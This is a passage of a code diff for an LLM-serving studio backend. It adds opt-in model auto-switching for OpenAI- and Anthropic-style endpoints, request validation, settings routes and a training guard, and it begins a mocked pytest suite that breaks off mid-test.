+    # After input validation so a 400 never triggers a load. Switches the
+    # streaming path; non-streaming re-checks via the idempotent chat handler.
+    # require_vision rejects a swap to a text-only target before it runs, so an
+    # image request can't evict the resident vision model only to 400 afterwards
+    # (the non-streaming chat re-check short-circuits on _already_serving).
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _messages_have_image(messages),
+    )
 
     if payload.stream:
         monitor_id = None
@@ -8381,6 +9099,28 @@ def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: b
     return has_image
 
 
+def _validate_anthropic_client_tools(tools) -> None:
+    # Reject malformed client tools before any model load, so an invalid request
+    # never evicts the loaded model. AnthropicTool relaxed name/input_schema to
+    # Optional for server tools, so the converter silently drops incomplete
+    # entries; surface them as 400 here. A `type` field marks a server-tool
+    # declaration (unrecognized server tools are no-ops); anything else without
+    # input_schema or name is malformed.
+    for tool in tools or []:
+        td = tool if isinstance(tool, dict) else tool.model_dump()
+        name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema")
+        if schema is None and not isinstance(type_, str):
+            raise HTTPException(
+                status_code = 400,
+                detail = f"Tool {name!r} is missing required field 'input_schema'.",
+            )
+        if schema is not None and (not isinstance(name, str) or not name):
+            raise HTTPException(
+                status_code = 400,
+                detail = "Client tool is missing required field 'name'.",
+            )
+
+
 @router.post("/messages/count_tokens")
 async def anthropic_count_tokens(
     payload: AnthropicMessagesRequest,
@@ -8394,6 +9134,19 @@ async def anthropic_count_tokens(
     tokenizer, and returns ``{"input_tokens": int}`` only. Unlike /messages,
     max_tokens is NOT required here.
     """
+    # Reject malformed tools before the switch, like /messages, so an invalid
+    # count request can't evict the loaded model.
+    _validate_anthropic_client_tools(payload.tools)
+    # Count with the requested model's tokenizer, like the sibling /messages.
+    # Carry the vision guard too: an image count naming a text-only GGUF must not
+    # evict a loaded vision model for a swap that can't serve the request.
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _anthropic_request_has_image(payload),
+    )
+
     llama_backend = get_llama_cpp_backend()
     if not llama_backend.is_loaded:
         raise HTTPException(
@@ -8460,14 +9213,20 @@ async def anthropic_messages(
     JSON).
     """
     llama_backend = get_llama_cpp_backend()
-    if not llama_backend.is_loaded:
+
+    # Default-off parity: with no automatic load possible and nothing loaded, 503
+    # before any request-shape check, exactly as the pre-feature endpoint did. When
+    # an automatic load can run (auto-switch or a standalone idle TTL), fall through
+    # so validation runs before the reload hook gets a chance to restore the model.
+    if not llama_backend.is_loaded and not _automatic_model_load_may_run():
         raise HTTPException(
             status_code = 503,
             detail = "No GGUF model loaded. Load a GGUF model first.",
         )
 
-    # max_tokens is a required field on the Anthropic Messages API; real
-    # Anthropic returns a 400 invalid_request_error when it is omitted.
+    # max_tokens is a required field on the Anthropic Messages API; real Anthropic
+    # returns a 400 invalid_request_error when it is omitted. Validate before
+    # auto-switch so a rejected request never triggers a model load.
     if payload.max_tokens is None:
         raise HTTPException(
             status_code = 400,
@@ -8478,13 +9237,47 @@ async def anthropic_messages(
             ),
         )
 
-    # Clean public id so /v1/messages never echoes the local .gguf path (and a
-    # legacy raw path sent as payload.model is sanitized rather than returned).
-    model_name = (
-        public_model_id(getattr(llama_backend, "model_identifier", None))
-        or public_model_id(payload.model)
-        or payload.model
+    # Reject malformed client tools before any model load (see helper), so an
+    # invalid request never evicts the loaded model.
+    _validate_anthropic_client_tools(payload.tools)
+
+    # Mixing Anthropic server tools with custom client tools is unsupported (the
+    # server-tool loop can't relay client functions back to the caller). Reject
+    # before the switch too -- it depends only on the payload -- so an invalid
+    # request never evicts the loaded model. Reused below for tool routing.
+    requested_studio_tools = _anthropic_requested_studio_tools(payload.tools)
+    _has_client_tool = any(
+        (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None
+        for t in payload.tools or []
     )
+    if requested_studio_tools and _has_client_tool:
+        raise HTTPException(
+            status_code = 400,
+            detail = (
+                "Mixing Anthropic server tools (e.g. web_search_20250305) "
+                "with custom client tools in a single request is not "
+                "supported. Send them in separate requests."
+            ),
+        )
+
+    # require_vision rejects a swap to a text-only target before it runs, so an
+    # image request can't evict the resident vision model only to hit the vision
+    # guard (_normalize_anthropic_openai_images) below after the load.
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _anthropic_request_has_image(payload),
+    )
+    if not llama_backend.is_loaded:
+        raise HTTPException(
+            status_code = 503,
+            detail = "No GGUF model loaded. Load a GGUF model first.",
+        )
+
+    # Advertised repo id after an auto-switch load, else a clean public id, never
+    # the local .gguf path (and a legacy raw path in payload.model is sanitized).
+    model_name = _llama_public_model_id(llama_backend, payload.model)
     message_id = f"msg_{uuid.uuid4().hex[:24]}"
 
     # ── Translate Anthropic → OpenAI ──────────────────────────
@@ -8531,51 +9324,8 @@ async def anthropic_messages(
     # 2. tools=[...] only  → client-side pass-through (standard Anthropic behavior)
     # 3. neither           → plain chat
     # The server-side agentic loop doesn't support multimodal input -- matches
-    # the `not image_b64` gate in /v1/chat/completions.
-    requested_studio_tools = _anthropic_requested_studio_tools(payload.tools)
-
-    # Reject malformed client tools at the boundary. AnthropicTool was relaxed
-    # to Optional[name]/Optional[input_schema] for server tools, so the
-    # converter silently drops incomplete entries -- surface them as 400. A
-    # `type` field marks a server-tool declaration per spec (unrecognized server
-    # tools are accepted as no-ops); anything else without input_schema or name
-    # is malformed and must not be allowed to silently flip execution mode or
-    # disable tool calling.
-    for tool in payload.tools or []:
-        td = tool if isinstance(tool, dict) else tool.model_dump()
-        name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema")
-        if schema is None and not isinstance(type_, str):
-            raise HTTPException(
-                status_code = 400,
-                detail = f"Tool {name!r} is missing required field 'input_schema'.",
-            )
-        if schema is not None and (not isinstance(name, str) or not name):
-            raise HTTPException(
-                status_code = 400,
-                detail = "Client tool is missing required field 'name'.",
-            )
-
-    # Detect client tools from the raw payload (presence of input_schema) so the
-    # mixed-mode check below isn't fooled by a name collision with a server-tool
-    # alias that the post-filter would silently drop.
-    _has_client_tool = any(
-        (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None
-        for t in payload.tools or []
-    )
-
-    # The server-tool agentic loop executes tools in-process and can't relay
-    # unknown client functions back to the caller, so mixed requests would
-    # silently drop the client tools. Reject explicitly instead.
-    if requested_studio_tools and _has_client_tool:
-        raise HTTPException(
-            status_code = 400,
-            detail = (
-                "Mixing Anthropic server tools (e.g. web_search_20250305) "
-                "with custom client tools in a single request is not "
-                "supported. Send them in separate requests."
-            ),
-        )
-
+    # the `not image_b64` gate in /v1/chat/completions. requested_studio_tools and
+    # the mixed-mode rejection were computed before the switch above.
     openai_client_tools = [
         tool
         for tool in anthropic_tools_to_openai(payload.tools or [])
diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py
index 1fa9055d3a..5acf039401 100644
--- a/studio/backend/routes/preview.py
+++ b/studio/backend/routes/preview.py
@@ -17,7 +17,11 @@ from loggers import get_logger
 from auth.authentication import get_current_subject
 from auth.storage import DEFAULT_ADMIN_USERNAME
 from models.inference import ChatCompletionRequest, LoadRequest
-from routes.inference import load_model, openai_chat_completions
+from routes.inference import (
+    disable_openai_auto_switch_for_request,
+    load_model,
+    openai_chat_completions,
+)
 from state.tool_policy import tools_force_disabled
 from utils.client_ip import client_ip
 from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint
@@ -155,6 +159,9 @@ async def _serve_chat(
     path = _resolve_or_4xx(run, checkpoint)
     is_lora = (path / "adapter_config.json").exists()
     payload = _sanitize_preview_payload(payload, is_lora)
+    # Preview always serves the pinned checkpoint it loads below; a public caller's
+    # `model` field must never trigger an OpenAI auto-switch to another GGUF.
+    disable_openai_auto_switch_for_request(getattr(request, "scope", None))
     await _preview_lock.acquire()
     keep_locked = False
     try:
diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index f582500f7f..0694ae31e0 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -32,6 +32,16 @@ from utils.helper_precache_settings import (
     helper_model_disabled_by_env,
     set_helper_precache_enabled,
 )
+from utils.openai_auto_switch_settings import (
+    DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
+    DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
+    get_auto_unload_idle_seconds,
+    get_model_overrides,
+    get_openai_auto_switch_enabled,
+    get_stored_auto_unload_idle_seconds,
+    set_model_override,
+    set_openai_auto_switch,
+)
 from utils.preview_sharing_settings import (
     DEFAULT_PREVIEW_SHARING_ENABLED,
     get_preview_sharing_enabled,
@@ -66,6 +76,33 @@ class HelperPrecacheResponse(BaseModel):
     disabled_by_env: bool
 
 
+class OpenAIAutoSwitchPayload(BaseModel):
+    enabled: bool
+    auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0)
+
+
+class OpenAIAutoSwitchResponse(BaseModel):
+    enabled: bool
+    auto_unload_idle_seconds: int
+    default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
+    # True when the idle-unload loop will actually unload (effective TTL > 0). With
+    # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled
+    # is false, so the UI can show idle-unload as active instead of "needs enable".
+    idle_unload_active: bool = False
+
+
+class ModelOverridePayload(BaseModel):
+    model_id: str = Field(..., min_length = 1)
+    llama_extra_args: list[str] = Field(default_factory = list)
+    # ge=1: 0 is not a valid sequence length, and the setter drops a falsy value,
+    # so reject it at the boundary instead of accepting then silently discarding it.
+    max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576)
+
+
+class ModelOverridesResponse(BaseModel):
+    overrides: dict[str, dict]
+
+
 def _upload_limit_response(limit_mb: int) -> UploadLimitResponse:
     return UploadLimitResponse(
         max_upload_size_mb = limit_mb,
@@ -128,6 +165,70 @@ def update_helper_precache(
     return _helper_precache_response(enabled)
 
 
+@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
+def get_openai_auto_switch(
+    current_subject: str = Depends(get_current_subject),
+) -> OpenAIAutoSwitchResponse:
+    return OpenAIAutoSwitchResponse(
+        enabled = get_openai_auto_switch_enabled(),
+        auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(),
+        idle_unload_active = get_auto_unload_idle_seconds() > 0,
+    )
+
+
+@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
+def update_openai_auto_switch(
+    payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject)
+) -> OpenAIAutoSwitchResponse:
+    try:
+        enabled, idle_seconds = set_openai_auto_switch(
+            payload.enabled, payload.auto_unload_idle_seconds
+        )
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."),
+            event = "settings.update_openai_auto_switch_failed",
+            log = logger,
+        ) from exc
+    return OpenAIAutoSwitchResponse(
+        enabled = enabled,
+        auto_unload_idle_seconds = idle_seconds,
+        idle_unload_active = get_auto_unload_idle_seconds() > 0,
+    )
+
+
+@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
+def get_openai_auto_switch_overrides(
+    current_subject: str = Depends(get_current_subject),
+) -> ModelOverridesResponse:
+    return ModelOverridesResponse(overrides = get_model_overrides())
+
+
+@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
+def update_openai_auto_switch_override(
+    payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject)
+) -> ModelOverridesResponse:
+    from core.inference.llama_server_args import validate_extra_args
+    try:
+        extra_args = validate_extra_args(payload.llama_extra_args)
+        set_model_override(
+            payload.model_id,
+            llama_extra_args = extra_args,
+            max_seq_length = payload.max_seq_length,
+        )
+    except ValueError as exc:
+        raise log_and_http_error(
+            exc,
+            400,
+            safe_error_detail(exc, fallback = "Invalid model launch override."),
+            event = "settings.update_model_override_failed",
+            log = logger,
+        ) from exc
+    return ModelOverridesResponse(overrides = get_model_overrides())
+
+
 class PreviewLinkRotateResponse(BaseModel):
     rotated: bool = True
 
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 4f131ad2f2..1da1c4f425 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -47,7 +47,7 @@ except ImportError:
     from utils.paths import resolve_dataset_path
 
 # Auth
-from auth.authentication import get_current_subject
+from auth.authentication import authenticated_via_api_key, get_current_subject
 
 from utils.utils import log_and_http_error
 
@@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu
 
 @router.post("/start")
 async def start_training(
-    request: TrainingStartRequest, current_subject: str = Depends(get_current_subject)
+    request: TrainingStartRequest,
+    current_subject: str = Depends(get_current_subject),
+    via_api_key: bool = Depends(authenticated_via_api_key),
 ):
     """
     Start a training job.
@@ -125,6 +127,22 @@ async def start_training(
     try:
         logger.info(f"Starting training job with model: {request.model_name}")
 
+        # When Studio is driven as an inference API (API-key auth), refuse to start
+        # training while a request is in flight: training frees VRAM by unloading
+        # the chat model, which would kill the stream. The Studio UI (session auth)
+        # still starts training and coexists/frees VRAM as before. (A mixed UI+API
+        # session is not yet special-cased.)
+        if via_api_key is True:
+            from core.inference.llama_keepwarm import other_inference_request_count
+            if other_inference_request_count(current_request_counted = False) > 0:
+                raise HTTPException(
+                    status_code = 409,
+                    detail = (
+                        "Cannot start training over the API while an inference request is in "
+                        "progress. Wait for it to finish, or start training from the Studio UI."
+                    ),
+                )
+
         # No in-process ensure_transformers_version(): the subprocess
         # (worker.py) activates the correct version before importing ML libs.
 
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index 23b90d7002..ba9f5b9cbc 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -1689,6 +1689,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]:
         conn.close()
 
 
+def upsert_app_setting_map_entry(
+    key: str, entry_key: str, entry_value: dict[str, Any] | None
+) -> dict[str, Any]:
+    """Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued
+    app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other
+    sub-entries cannot drop each other's updates."""
+    conn = get_connection()
+    try:
+        conn.execute("BEGIN IMMEDIATE")
+        row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone()
+        current = _json_loads(row["value_json"], {}) if row else {}
+        if not isinstance(current, dict):
+            current = {}
+        if entry_value:
+            current[entry_key] = entry_value
+        else:
+            current.pop(entry_key, None)
+        now = datetime.now(timezone.utc).isoformat()
+        conn.execute(
+            """
+            INSERT INTO app_settings (key, value_json, updated_at)
+            VALUES (?, ?, ?)
+            ON CONFLICT(key) DO UPDATE SET
+                value_json = excluded.value_json,
+                updated_at = excluded.updated_at
+            """,
+            (key, json.dumps(current), now),
+        )
+        conn.commit()
+        return current
+    except Exception:
+        conn.rollback()
+        raise
+    finally:
+        conn.close()
+
+
 def list_chat_settings() -> dict[str, Any]:
     conn = get_connection()
     try:
diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py
new file mode 100644
index 0000000000..7d2e2213b3
--- /dev/null
+++ b/studio/backend/tests/test_openai_auto_switch.py
@@ -0,0 +1,3039 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Opt-in OpenAI /v1 model auto-switch: resolver, hook, and settings coercion.
+
+No GPU or llama-server: the backend and the load route are mocked, mirroring
+tests/test_gguf_completion_usage.py.
+"""
+
+import asyncio
+
+import pytest
+
+import routes.inference as inference_route
+from models.inference import LoadRequest
+from core.inference import local_model_resolver as resolver
+from utils import openai_auto_switch_settings as settings
+
+
+class _FakeBackend:
+    def __init__(
+        self,
+        loaded_id = None,
+        hf_variant = None,
+        advertised_id = None,
+    ):
+        self.model_identifier = loaded_id
+        self.is_loaded = loaded_id is not None
+        self.hf_variant = hf_variant
+        self._openai_advertised_id = advertised_id
+
+
+class _LoadRecorder:
+    """Stand-in for the load route: records calls and simulates a load."""
+
+    def __init__(
+        self,
+        backend,
+        fail = False,
+    ):
+        self.backend = backend
+        self.calls = []
+        self.fail = fail
+
+    async def __call__(
+        self,
+        request,
+        fastapi_request,
+        current_subject = None,
+    ):
+        self.calls.append(request)
+        if self.fail:
+            from fastapi import HTTPException
+            raise HTTPException(status_code = 503, detail = "load failed")
+        self.backend.model_identifier = request.model_path
+        self.backend.is_loaded = True
+        # Mirror _load_model_impl: a load advertises its own id until the
+        # auto-switch caller overwrites it with the repo id.
+        self.backend._openai_advertised_id = None
+        return None
+
+
+def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder):
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled)
+    monkeypatch.setattr(resolver, "resolve_local_gguf", lambda _m: resolves_to)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    # Auto-switch loads via _load_model_impl (the /load route holds the lifecycle
+    # gate that auto-switch already owns, so it calls the impl directly).
+    monkeypatch.setattr(inference_route, "_load_model_impl", recorder)
+    monkeypatch.setattr(inference_route, "_auto_switch_waiters", {})
+    monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {})
+
+
+def _run_hook(model = "some/model"):
+    asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "tester"))
+
+
+def test_flag_off_never_loads(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF")
+    assert rec.calls == []
+
+
+def test_unknown_model_falls_through(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    _run_hook("gpt-4o-mini")
+    assert rec.calls == []
+
+
+def test_already_loaded_does_not_reload(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    # Case-insensitive match against the loaded identifier.
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/a-gguf", None, "unsloth/a-gguf"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/A-GGUF")
+    assert rec.calls == []
+
+
+def test_known_unloaded_model_switches_once(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF:Q4_K_M")
+    assert len(rec.calls) == 1
+    req = rec.calls[0]
+    assert isinstance(req, LoadRequest)
+    assert req.model_path == "unsloth/B-GGUF"
+    assert req.gguf_variant == "Q4_K_M"
+    assert backend.model_identifier == "unsloth/B-GGUF"
+
+
+def test_concurrent_same_target_loads_once(monkeypatch):
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+
+    async def _race():
+        await asyncio.gather(
+            inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"),
+            inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"),
+        )
+
+    asyncio.run(_race())
+    assert len(rec.calls) == 1
+
+
+def test_load_failure_propagates(monkeypatch):
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend, fail = True)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException):
+        _run_hook("unsloth/B-GGUF")
+
+
+def test_same_repo_different_variant_switches(monkeypatch):
+    # Q4_K_M loaded, Q8_0 requested: a different quant must trigger a reload.
+    backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1
+    assert rec.calls[0].gguf_variant == "Q8_0"
+
+
+def test_same_repo_same_variant_does_not_reload(monkeypatch):
+    backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "q4_k_m", "unsloth/B-GGUF"),  # case-insensitive
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF:Q4_K_M")
+    assert rec.calls == []
+
+
+def test_responses_endpoint_wires_auto_switch_before_dispatch():
+    # The /v1/responses endpoint must invoke the auto-switch hook before either
+    # dispatcher so streaming requests switch too. Asserted on the source, which
+    # is immune to test-ordering effects on the shared inference module.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_responses)
+    assert "_maybe_auto_switch_model" in src
+    hook_at = src.index("_maybe_auto_switch_model")
+    assert hook_at < src.index("_responses_stream")
+    assert hook_at < src.index("_responses_non_streaming")
+
+
+def test_embeddings_endpoint_wires_auto_switch_before_loaded_check():
+    # /v1/embeddings is model-bearing too, so it must auto-switch before the
+    # loaded-state gate. Asserted on the source for order-independence.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_embeddings)
+    assert "_auto_switch_from_request_body" in src
+    assert src.index("_auto_switch_from_request_body") < src.index("is_loaded")
+
+
+def test_count_tokens_endpoint_wires_auto_switch_before_loaded_check():
+    # The Anthropic token-count endpoint must count with the requested model.
+    import inspect
+
+    src = inspect.getsource(inference_route.anthropic_count_tokens)
+    assert "_maybe_auto_switch_model" in src
+    assert src.index("_maybe_auto_switch_model") < src.index("is_loaded")
+
+
+def test_openai_compat_routes_bound_to_handlers_with_auth():
+    # Inserting a helper between a @router.post decorator and its handler silently
+    # rebinds the route to the helper and drops its auth dependency (this happened to
+    # /messages/count_tokens). The source-inspection tests above miss it because they
+    # call the handler directly. Lock the path -> (handler, auth) mapping at the route
+    # level so any decorator/handler split is caught.
+    expected = {
+        ("POST", "/chat/completions"): "openai_chat_completions",
+        ("POST", "/completions"): "openai_completions",
+        ("POST", "/embeddings"): "openai_embeddings",
+        ("POST", "/responses"): "openai_responses",
+        ("POST", "/messages"): "anthropic_messages",
+        ("POST", "/messages/count_tokens"): "anthropic_count_tokens",
+        ("POST", "/audio/generate"): "generate_audio",
+        ("GET", "/models"): "openai_list_models",
+        ("GET", "/models/{model_id:path}"): "openai_retrieve_model",
+    }
+    seen = {}
+    for r in inference_route.router.routes:
+        path = getattr(r, "path", None)
+        endpoint = getattr(r, "endpoint", None)
+        if path is None or endpoint is None:
+            continue
+        for method in getattr(r, "methods", None) or ():
+            seen[(method, path)] = r
+    for key, handler in expected.items():
+        assert key in seen, f"route {key} is not registered"
+        route = seen[key]
+        assert (
+            route.endpoint.__name__ == handler
+        ), f"{key} bound to {route.endpoint.__name__}, expected {handler}"
+        deps = [d.call.__name__ for d in route.dependant.dependencies]
+        assert "get_current_subject" in deps, f"{key} lost its auth dependency"
+
+
+# ── resolver ────────────────────────────────────────────────────────
+
+
+def test_local_gguf_entry_filters_non_gguf_and_recurses(tmp_path):
+    from types import SimpleNamespace
+
+    # Transformers/safetensors folder: not a GGUF, must be rejected.
+    tf = tmp_path / "tf-model"
+    tf.mkdir()
+    (tf / "config.json").write_text("{}")
+    (tf / "model.safetensors").write_text("x")
+    assert resolver._local_gguf_entry("tf", SimpleNamespace(path = str(tf))) is None
+
+    # Standalone .gguf file: an entry with no quant sub-selection.
+    bare = tmp_path / "x.gguf"
+    bare.write_text("x")
+    e = resolver._local_gguf_entry("x", SimpleNamespace(path = str(bare)))
+    assert e is not None and e.variants == ()
+
+    # HF-cache snapshots with a quant subdir (the nested layout the previous
+    # shallow glob missed): must still be detected.
+    repo = tmp_path / "models--org--repo"
+    (repo / "snapshots" / "abc" / "BF16").mkdir(parents = True)
+    (repo / "snapshots" / "abc" / "BF16" / "model-BF16.gguf").write_text("x")
+    e2 = resolver._local_gguf_entry("org/repo", SimpleNamespace(path = str(repo)))
+    assert e2 is not None and e2.variants
+
+
+def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path):
+    # Codex P2: _scan_models_dir's standalone-.gguf pass emits an entry for a
+    # bare mmproj projector (it only filters mmproj inside directory scans). A
+    # projector is not a servable model, so the resolver must reject it or
+    # /v1/models advertises it and a switch could load it over the real weights.
+    from types import SimpleNamespace
+
+    proj = tmp_path / "mmproj-F16.gguf"
+    proj.write_text("x")
+    assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False
+
+
+def _entry(loader_id, *variants):
+    # load_path == loader_id for tests; production stores a concrete local path.
+    return resolver._LocalGgufEntry(loader_id, loader_id, tuple(variants))
+
+
+def test_resolver_matches_and_splits_variant(monkeypatch):
+    monkeypatch.setattr(
+        resolver,
+        "_build_index",
+        lambda: {"unsloth/b-gguf": _entry("unsloth/B-GGUF", "UD-Q5_K_XL", "Q4_K_M")},
+    )
+    resolver._scan = (0.0, {})  # force a rescan
+    # A requested variant present on disk resolves (case-insensitive).
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF:ud-q5_k_xl") == (
+        "unsloth/B-GGUF",
+        "UD-Q5_K_XL",
+        "unsloth/B-GGUF",
+    )
+    # A bare id resolves to a concrete local quant, never a remote one.
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF") == (
+        "unsloth/B-GGUF",
+        "UD-Q5_K_XL",
+        "unsloth/B-GGUF",
+    )
+    # A variant that is not on disk must not resolve (no remote download).
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF:Q8_0") is None
+    assert resolver.resolve_local_gguf("totally/unknown") is None
+    assert resolver.resolve_local_gguf("") is None
+
+
+def test_resolver_failsafe_on_internal_error(monkeypatch):
+    # Resolution is best-effort: any internal failure must fall through to None
+    # so the request still serves the loaded model instead of 500-ing. The hook
+    # calls resolve_local_gguf without its own guard, so the guard lives here.
+    def boom():
+        raise RuntimeError("scan blew up")
+
+    monkeypatch.setattr(resolver, "_build_index", boom)
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF") is None
+
+
+def test_resolver_nonstring_model_is_failsafe():
+    # /v1/completions and /v1/embeddings pass body.get("model") straight through,
+    # so a non-string must not raise on .strip().
+    assert resolver.resolve_local_gguf(123) is None
+    assert resolver.resolve_local_gguf({"a": 1}) is None
+    assert resolver.resolve_local_gguf(None) is None
+
+
+def test_resolver_exact_id_with_colon_wins(monkeypatch):
+    # A local id that itself contains a colon (e.g. a Windows path) must match
+    # exactly rather than being split at the drive-letter colon.
+    win = r"C:\models\foo.gguf"
+    monkeypatch.setattr(resolver, "_build_index", lambda: {win.lower(): _entry(win)})
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf(win) == (win, None, win)
+
+
+# ── settings coercion ───────────────────────────────────────────────
+
+
+def test_setting_coercion():
+    assert settings._coerce_bool("on") is True
+    assert settings._coerce_bool("off") is False
+    assert settings._coerce_bool("garbage") is None
+    assert settings._coerce_int("5") == 5
+    assert settings._coerce_int(-3) == 0
+    assert settings._coerce_int("nope") is None
+
+
+# ── idle keep-warm ──────────────────────────────────────────────────
+
+
+def test_idle_loop_does_not_unload_freshly_loaded_model(monkeypatch):
+    # Server idle far longer than the TTL, then a model is loaded: the load
+    # transition stamps activity so the next poll must not unload it.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 1)
+    kw._inflight = 0
+    kw._last_active = time.monotonic() - 3600
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Fresh-GGUF")
+    backend.unload_model = lambda: unloads.append(1)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01))
+        await asyncio.sleep(0.05)
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+    assert unloads == []
+
+
+def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch):
+    # The headline behavior (the other idle tests only cover the negative paths):
+    # with nothing in flight and the TTL elapsed, the loop frees the GGUF exactly
+    # once and records its identity so a later alias request can reload that variant.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M")
+
+    def _unload():
+        unloads.append(1)
+        backend.is_loaded = False  # a real unload clears the slot
+
+    backend.unload_model = _unload
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
